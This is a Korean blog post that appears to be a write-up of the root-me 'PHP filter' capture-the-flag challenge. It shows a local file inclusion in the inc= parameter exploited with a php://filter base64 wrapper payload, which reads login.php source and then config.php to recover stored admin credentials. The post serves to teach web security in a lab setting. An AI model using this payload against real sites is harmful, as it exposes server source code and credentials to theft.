PHP filter?
사용자 입력과 같은 안전하지 않은 소스로부터의 데이터를 유효성 검사 및 필터링할 때 이용.
화면에서 home을 눌렀을 때,
inc=accueil.php
login을 눌렀을 때,
inc=login.php로
URL을 받는 것을 확인할 수 있다.
파라미터로 php파일을 받아서 실행시키는 것인데,
파라미터에 ../ 를 넣어보도록 한다.
Warning 문구가 출력된다. include()함수에 뭔가 문제가 있는 것 같고,
failed to open stream: Operation not permitted in /challenge/web-serveur/ch12/ch12.php
같은 문구가 출력됨을 확인할 수 있다.
inc=ch12.php로 넣어주면 처음 화면과 같은 화면이 나온다.
이쯤에서 필터링을 우회할 수 있는 방법을 찾아야 하는데,
include()함수의 문제로 봐서는 LFI 취약점이라고 보는게 맞는 것 같다.
그래서 php wrapper를 이용하기로 한다.
php wrapper?
php에는 다양한 임베디드 wrapper가 있는데, 그 중 하나인 php:// 같은 경우에는
다양한 입출력 스트림에 대한 접근을 하게 해준다.
(Accessing various I/O streams)
소스를 보기 위해 php wrapper를 이용한다.
php://filter/convert.base64-encode/resource=파일이름.php
로 작성해서 파라미터값에 넘겨주면 된다.(inc=php://~~~~)
login.php파일을 넘겨줬더니,
인코딩된 듯한 문장이 나오는데 이를 base64 decoding한 결과,
<?php
include("config.php");
if ( isset($_POST["username"]) && isset($_POST["password"]) ){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("<h2>Welcome back !</h2>");
print("To validate the challenge use this password<br/><br/>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
} else {
?>
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<?php } ?>
라는 소스코드를 볼 수 있다.
내용을 보니 password가 flag가 되는 듯 하고, 중요한건 제일 첫 부분에 있는
include("config.php")이다.
다시 위로 올라가서, login.php대신 config.php로 url을 수정해서 입력한다.
나온 결과를 역시 base64 decoding시키면,
서버에 저장된 username과 password를 얻을 수 있다.
이를 통해 admin으로 로그인이 가능하고, password 자체가 flag이므로 이를 통해
validation이 가능하다.
'WebHacking' 카테고리의 다른 글
[root-me] PHP register globals (0) | 2020.01.06 |
---|---|
[root-me] File upload - MIME type (0) | 2020.01.06 |
[root-me] File upload - null byte (0) | 2020.01.06 |
[root-me] File upload - double extensions (0) | 2020.01.06 |
[root-me] CRLF (0) | 2020.01.06 |